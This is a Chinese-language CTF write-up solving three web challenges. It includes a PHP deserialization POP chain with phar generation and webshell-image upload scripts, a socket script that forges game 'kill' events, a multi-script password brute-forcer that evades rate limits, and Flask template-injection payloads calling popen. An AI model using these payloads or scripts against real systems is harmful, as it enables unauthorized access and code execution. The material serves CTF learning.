CBCTF2023十二月比赛 wp by MakaRi

很圆满的一场比赛,打的很艰辛但是学到了很多东西,成功被0rays直招(进去当饮水机)

发篇wp复盘一下做出来的三道高分题 

1.ezphp

一点都不ez的php,打开首页发现一大坨php代码

初步审计,发现分POST和GET两种方式处理数据。

POST部分允许上传图片文件,可以获得文件路径。

GET部分如果get到ccc,包含一个php文件并判断传入ccc的文件路径是否存在;如果get到orz,会接受后续传入的get参数进行简单的md5判断,通过后即可获得包含的php的文件内容。

md5使用数组绕过即可。payload:?orz=1&jbn1[]=1&jbn2[]=2&username=0rays&password[]=1

得到f71fade1b8ed74a6d9849359380b760e.php的内容:

美化代码:

<?php



class Act {
    protected $checkAccess;
    protected $id;

    public function run()
    {  
        
        if ($this->id !== 0 && $this->id !== 1) {
            switch($this->id) {
                case 0:
                    if ($this->checkAccess) {
                        
                        include($this->checkAccess);
                    }
                    break;
                case 1:
                    throw new Exception("id invalid in ".__CLASS__.__FUNCTION__);
                    break;
                default:
                    break;         
            }
        }
    }

}

class Con {

    public $formatters;
    public $providers;

    public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
    
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);
                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

    public function __call($name, $arguments)
    {
        return call_user_func_array($this->getFormatter($name), $arguments);
    }
}

class Mmm {

    public function __invoke(){
        include("hello.php");
    }
}

class Jbn{
    public $source;
    public $str;
    public $reader;

    public function __wakeup() {
        
        if(preg_match("/gopher|phar|http|file|ftp|dict|\.\./i", $this->source)) {
            throw new Exception('invalid protocol found in '.__CLASS__);
        }
    }

    public function __construct($file='index.php') {
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString() {
        
        
        $this->str->reset();
    }


    public function reset() {
        if ($this->reader !== null) {
            
            
            $this->reader->close();
        }
    }
}

发现定义了四个类,并且使用了一些魔术方法,并且首页在引入这段代码后对参数进行了file_exists,不难想到需要打phar包上传,利用协议phar://反序列化phar包,执行Act类中的任意代码包含include($this->checkAccess)。

最难的部分就是构造POP链。

思路:

首先由Jbn类的wakeup方法为起点开始触发,将source设为Jbn对象的引用,由于preg_match,触发toString方法;

再将source->str设为Jbn对象引用,执行reset方法;

再将str->reader设为Con对象的引用,由于Con类不存在close方法,触发call方法;

审计getFormatter函数可知将formatter数组设为['close' => [$act, 'run']],并将变量act设为Act对象的引用,即可执行Act中的run方法,为保险我这里将Act类中的id设为"0e123"确保判断通过。

本地测试exp如下。注意由于Act类中的成员变量属性为protected,序列化数据中会有不可见字符%00,打印序列化数据的时候要先urlencode。

这里修改了部分代码便于测试方法是否被触发。(checkAccess设为了读hello.php的内容,当时觉得这个php文件可能有东西,其实除了一句echo啥也没有)


<?php

highlight_file(__FILE__);

class Act {
    protected $checkAccess="php://filter/convert.base64-encode/resource=hello.php";
    protected $id="0e123";

    public function run()
    {  
        if ($this->id !== 0 && $this->id !== 1) {
            switch($this->id) {
                case 0:
                    if ($this->checkAccess) {
                        
                        echo "444";
                    }
                    break;
                case 1:
                    throw new Exception("id invalid in ".__CLASS__.__FUNCTION__);
                    break;
                default:
                    break;         
            }
        }
    }

}

class Con {

    public $formatters;
    public $providers;

    public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
    
        foreach ($this->providers as $provider) {           #providers是几个类组成的数组
            if (method_exists($provider, $formatter)) {      #如果在$provider的类中中存在$formatter的方法 
                $this->formatters[$formatter] = array($provider, $formatter);#第一个元素是类,第二个元素是方法名
                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

    public function __call($name, $arguments)
    {
        echo "333";
        return call_user_func_array($this->getFormatter($name), $arguments);
        #如果以该类调用不存在的方法,在$formatters和$providers中寻找该不存在的方法名,执行找到的类中的方法,参数为argumaents
        
}}

class Mmm {

    public function __invoke(){
        include("hello.php");
    }
}

class Jbn{
    public $source;
    public $str;
    public $reader;

    public function __wakeup() {
        
        if(preg_match("/gopher|phar|http|file|ftp|dict|\.\./i", $this->source)) {
            throw new Exception('invalid protocol found in '.__CLASS__);
        }
    }

    public function __construct($file='index.php') {
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString() {
        
        echo "111";
        $this->str->reset();
    }  


    public function reset() {
        if ($this->reader !== null) {
            
            echo "222";
            $this->reader->close();
        }
    }
}


$act=new Act();
// 创建 Con 对象
$con = new Con();
$con->formatters = ['close' => [$act, 'run']];

// 创建两个 Jbn 对象
$jbn = new Jbn();
$jbn1 = new Jbn();
$jbn2 = new Jbn();
// 设置 Jbn 对象的属性
$jbn2->reader=$con;
$jbn1->str=$jbn2;
$jbn->source=$jbn1;



$serialized = serialize($jbn);
echo $serialized;
echo urlencode($serialized);
unserialize($_GET['a']);?>



测试发现成功

由于后半段只能使用GET传参,所以php://input执行任意代码的方法不能使用,可以上传含有一句话木马的图片文件,然后将该文件包含即可RCE。

先写个脚本上传木马图片:

import requests

url='http://e806052f-6206-4414-9a78-cb1ba64a23f2.training.0rays.club:8001/'  #题目url
file_path='C:\\Users\\26426\\Desktop\\ctf工具\\OneSentence.jpg'              #一句话木马图片路径
files={'file':open(file_path,'rb')}
response=requests.post(url,files=files)
print(response.text)

上传,得到服务器端文件路径

打phar包,要包含的文件路径定义为木马图片路径,元数据存入变量jbn

<?

#定义类,这里省略

$act=new Act();
$con = new Con();
$con->formatters = ['close' => [$act, 'run']];
$jbn = new Jbn();
$jbn1 = new Jbn();
$jbn2 = new Jbn();
$jbn2->reader=$con;
$jbn1->str=$jbn2;
$jbn->source=$jbn1;
$phar = new Phar('PO.phar'); 
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>'); 
$phar->addFromString('test.txt', 'test'); 
$phar->setMetadata($jbn); 
$phar->stopBuffering();
?>

将文件后缀名改为jpg,写个脚本上传

import requests

url=''  #题目URL
file_path=''   #phar包文件路径
files={'file':open(file_path,'rb')}
response=requests.post(url,files=files)
print(response.text)

上传,得到服务器端文件路径

首页ccc设为phar://+phar包路径即可包含木马,成功getshell,拿到flag:

2.TankTrouble

打开题目网站,鉴定为4399坦克动荡

点击获取FLAG,提示要玩够555分才给flag,审计前端GameState.js代码,看一下对不同事件的处理:

发现在玩家坦克被其他玩家击杀时会触发socket事件发包到后端,事件名为kill。

其他事件(玩家自杀,玩家击杀其他坦克)的处理都在前端完成。

打开bp,查看websocket history

发现建立websocket连接后,客户端每一帧都会向服务端发送一个websocket包,记录玩家的坐标、id和生命值,而服务器端每隔一段时间向客户端发包,会返回玩家的分数等信息。

尝试截取服务器端向客户端的包,将score改为600,点击获取FLAG,发现无响应。

那就只能通过向服务器构造发送kill事件的包,id设为自己的id,模拟自己击杀其他坦克的事件,从而获得加分。

先构造一个kill事件的包发送,发现分数+1,证明此方法可行

写脚本反复发送kill事件的包,即可加分至555分。

from socketIO_client import SocketIO, LoggingNamespace
import time

def send_skt(socket,id):
    message= {'killer':tank_id}
    socket.emit('kill',message)
def main():
    url = '116.62.65.206'
    port = 52510
    id = '223.104.165.165'  #注意这个id需要改为自己的id,由bp抓包获取
    with SocketIO(url,port,LoggingNamespace) as socket:
        for i in range(600):  # 发送600次
            time.sleep(1)     #控制频率(没试过去掉这一句的效果,比赛结束后网站好像就不行了)
            send_skt(socket,id)

if __name__ == '__main__':
    main()

运行脚本,555秒静待花开。

3.CNCTF2023

给了含9999个口令的文档,以及提示需要爆破,登录管理员账户。

尝试使用bp的intruder模块进行爆破,发现被限制请求频率。

原题目给了题目环境的数据,应该是要求根据附件提供的数据库信息进行爆破的,但是由于本人太菜,不太会用docker,研究不明白这个附件。

但是想到了一个非预期:题目是4台公共靶机,每台靶机密码相同,那么可以进行多线程爆破。

写了8个python脚本,把10000个密码拆分成8份1250个密码,每个脚本负责1部分,而每2个脚本对应一台靶机,进行爆破。为了不触发频率限制请求间隔设置为5秒,当时算了一下,最多只用跑1.7个小时,果断出击。

脚本如下,注意每台靶机请求包中的nonce字段不同,需要修改。另外由于我这个脚本的思路是判断响应页面是否和密码错误的页面相同,若不同则代表登陆成功,因此需要处理超频率的响应的情况。

import requests
import time
#有7个脚本,该脚本对应爆破1号靶机,用的是第1~1249个密码
url = 'http://jbnrz.com.cn:10101/login'
headers = {
    'Host': 'jbnrz.com.cn:10101',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'DNT': '1',
    'Referer': 'http://jbnrz.com.cn:10101/login',
    'Cookie': 'session=0e05942f-ae60-4b2d-a854-0ccaf12cff6f.i5qfub2V3uU0Cw1nhhlDNOuUZp0',
    'X-Forwarded-For': '8.8.8.8',
    'Connection': 'close',
    'Content-Type': 'application/x-www-form-urlencoded'
}
data ={'name':'admin','password':'123','_submit':'%E6%8F%90%E4%BA%A4','nonce':'9e800d7455741648dcc6779d910bae6c9e327ba5efefce48da3424854ea09411'}
wrong=requests.post(url, headers=headers, data=data).text
if "incorrect" in wrong:
     print("Connected")
with open('D:\\QQ\\2642677199\\FileRecv\\something.txt', 'r',encoding='utf-8') as file:
    passwds = [line.strip() for line in file]
    passwds=passwds[0:1250:]
for passwd in passwds:
        while True:
             
            data['password']=passwd
            time.sleep(5)
            response = requests.post(url, headers=headers, data=data).text
            print(passwd)
            if "Too many requests" in response:
                 print("此处被频率限制。重试密码:{}".format(passwd))
            else:
                 break
        if response != wrong:
            print(response)
            print(f'密码: {passwd}')
            break

同时运行这8个脚本:

一个半小时后得到密码为:jozefkosmider1995

登录admin页面,进入admin panel

根据提示,寻找flask模版注入点,在ctfd-->whale中找到疑似注入点

(原本不是{{1}},但是有双大括号。公共靶机,题目做完恢复的时候忘记原来写的啥了)

注入{{7*7}},开启test题目环境,进入Instance栏后查看网页源码,搜索example发现题目域名输出了49,证明存在注入。

注入{{''.__class__.__mro__[1].__subclasses__()[153].__init__.__globals__['popen']('env').read()}}试图查看环境变量,发现报错为状态码500。

经过试错探索,发现题目环境中object的子类列表和平时大部分的环境不一样,注入{{''.__class__.__mro__[1].__subclasses__()}}得object子类列表,编写简单脚本,找到类os._wrap_close的索引是133。

于是将__subclasses__()下标改为133,重新注入,成功。

这道题是印象最深的一道题,通过流氓方法爆破密码拿到了全场唯一解ouo

没办法,只能想到笨方法=v=

就写到这里,欢迎大佬指正,本人大一,真的很菜。

评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Mak4R1

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值